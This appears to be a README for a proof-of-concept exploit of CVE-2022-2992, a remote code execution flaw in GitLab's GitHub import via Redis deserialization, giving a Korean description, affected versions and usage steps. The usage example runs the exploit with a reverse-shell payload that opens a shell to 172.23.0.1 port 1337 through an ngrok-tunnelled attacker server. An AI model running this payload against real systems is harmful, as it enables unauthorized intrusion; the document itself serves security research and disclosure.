
A collection of proof-of-concept exploit scripts written by the team at Redway Security for various CVEs.
설명: 인증된 사용자는 Github에서 Gitlab으로 저장소를 가져올 수 있습니다. 중첩된 default_branch에 Redis 직렬화 프로토콜 객체를 응답하는 공격자의 컨트롤러 서버에서 가져오기를 시도할 수 있으며, 이를 통해 Gitlab이 이 객체를 Redis에 캐시하게 하고, Redis가 이를 역직렬화하여 페이로드를 실행하도록 트리거할 수 있습니다.
영향받는 버전: 11.10부터 15.1.6 이전, 15.2 ~ 15.2.4, 15.3 ~ 15.3.2
수정된 버전: 15.3.2
연구자: vakzz
분석 링크: https://blog.redwaysecurity.com/2023/04/desenvolvendo-o-exploit-para-o-cve-2022.html
NIST CVE 링크: https://nvd.nist.gov/vuln/detail/CVE-2022-2992
인증된 사용자는 Github에서 Gitlab으로 저장소를 가져올 수 있습니다. 중첩된 default_branch에 Redis 직렬화 프로토콜 객체를 응답하는 공격자의 컨트롤러 서버에서 가져오기를 시도할 수 있으며, 이를 통해 Gitlab이 이 객체를 Redis에 캐시하게 하고, Redis가 이를 역직렬화하여 페이로드를 실행하도록 트리거할 수 있습니다.
개인 액세스 토큰이 필요합니다.
$ bundle install # install dependencies
$ ngrok http 127.0.0.1:4567 # start ngrok tunnel
$ export NGROK_URL=https://68b9-83-173-213-121.eu.ngrok.io # use the url from ngrok
$ ruby exploit.rb http://target.gitlab.com w4dg6wVj7j7xlJgpGLEYdwFe 'bash -c "sh -i >& /dev/tcp/172.23.0.1/1337 0>&1"' # that is a example, use your own payload
